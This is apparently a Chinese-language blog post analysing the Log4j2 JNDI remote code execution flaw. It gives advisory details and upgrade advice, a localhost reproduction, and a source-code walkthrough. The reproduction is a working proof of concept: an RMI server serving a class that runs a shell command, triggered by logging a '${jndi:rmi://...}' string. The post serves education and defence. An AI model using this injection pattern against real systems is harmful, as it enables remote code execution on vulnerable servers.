漏洞的前因後果
2021 年 12 月 9 日,2021 年 11 月 24 日,阿里雲安全團隊向 Apache 官方報告了 Apache Log4j2 遠程代碼執行漏洞。詳情見 【漏洞預警】Apache Log4j 遠程代碼執行漏洞
漏洞描述
Apache Log4j2 是一款優秀的 Java 日誌框架。2021 年 11 月 24 日,阿里雲安全團隊向 Apache 官方報告了 Apache Log4j2 遠程代碼執行漏洞。
由於 Apache Log4j2 某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發遠程代碼執行漏洞。漏洞利用無需特殊配置,經阿里雲安全團隊驗證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影響。阿里雲應急響應中心提醒 Apache Log4j2 用戶儘快採取安全措施阻止漏洞攻擊。
漏洞評級
Apache Log4j 遠程代碼執行漏洞 嚴重
。
影響版本
Apache Log4j 2.x <= 2.14.1
安全建議
1、升級 Apache Log4j2 所有相關應用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2、升級已知受影響的應用及組件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid。
本地復現漏洞
首先需要使用低版本的 log4j 包,我們在本地新建一個 Spring Boot 項目,使用 2.5.7 版本的 Spring Boot,可以看到一老的 log4j 是 2.14.1,可以復現漏洞。
參考 Apache Log4j Lookups,我們先使用代碼在 log 裏獲取一下 java:vm。
本地打印 JVM 基礎信息
@SpringBootTest
class Log4jApplicationTests {
private static final Logger logger = LogManager.getLogger(SpringBootTest.class);
@Test
void log4j() {
logger.info("content {}", "${java:vm}");
}
}
可以發現輸出是:
content Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)
使用 JavaLookup 獲取到了 JVM 的相關信息(需要使用java
前綴)。
本地獲取服務器的打印信息
本地啓動一個 RMI 服務:
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:8081/";
// Reference 需要傳入三個參數 (className,factory,factoryLocation)
// 第一個參數隨意填寫即可,第二個參數填寫我們 http 服務下的類名,第三個參數填寫我們的遠程地址
Reference reference = new Reference("ExecCalc", "ExecCalc", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("calc", referenceWrapper);
}
}
ExecCalc 類直接放在根目錄,不能申請包名,即不能存在 package xxx。聲明後編譯的 class 文件函數名稱會加上包名從而不匹配。參考 Java 安全-RMI-JNDI 注入。
public class ExecCalc {
static {
try {
System.out.println("open a Calculator!");
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
}
之後啓動上面的 Server 類,再執行下面的代碼:
@Test
void log4jEvil() {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
}
發現測試用例的控制檯輸出了 open a Calculator!
並啓動了計算器。
log4j 漏洞源碼分析
只看 logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
這段代碼,首先會調用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
callAppenders(event);
}
logParent(event, predicate);
}
其中 LogEvent 結構如下:
encode 對應的事件,將 ${param} 裏的 param 解析出來,org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend
private void tryAppend(final LogEvent event) {
if (Constants.ENABLE_DIRECT_ENCODERS) {
directEncodeEvent(event);
} else {
writeByteArrayToManager(event);
}
}
protected void directEncodeEvent(final LogEvent event) {
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
調用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,將對應參數解析出結果。
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
和官方文檔上是能夠對應上的,即 log 裏只解析前綴爲 date
、jndi
等的命令,本文的測試用例使用的是 ${jndi:rmi://127.0.0.1:1099/calc}
。
解析出參數的結果, org.apache.logging.log4j.core.lookup.Interpolator#lookup
@Override
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}
其核心是這段代碼:
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
org.apache.logging.log4j.core.lookup.JndiLookup#lookup
接下來就是調用 javax.naming 的 JDK 相關代碼,遠程加載了 ExecCalc 類,在本地輸出了 open a Calculator!
並啓動了計算器。
擴展:JNDI
JNDI (Java Naming and Directory Interface) 是一組應用程序接口,它爲開發人員查找和訪問各種資源提供了統一的通用接口,可以用來定位用戶、網絡、機器、對象和服務等各種資源。比如可以利用 JNDI 在局域網上定位一臺打印機,也可以用 JNDI 來定位數據庫服務或一個遠程 Java 對象。JNDI 底層支持 RMI 遠程對象,RMI 註冊的服務可以通過 JNDI 接口來訪問和調用。
JNDI 是應用程序設計的 Api,JNDI 可以根據名字動態加載數據,支持的服務主要有以下幾種:DNS、LDAP、 CORBA 對象服務、RMI 等等。
其應用場景比如:動態加載數據庫配置文件,從而保持數據庫代碼不變動等。
危害是什麼?
- client 可以獲取服務器的某些信息,通過 JNDI 遠程加載類
- client 向服務器注入惡意代碼
GitHub 項目
Java 編程思想-最全思維導圖-GitHub 下載鏈接,需要的小夥伴可以自取~
原創不易,希望大家轉載時請先聯繫我,並標註原文鏈接。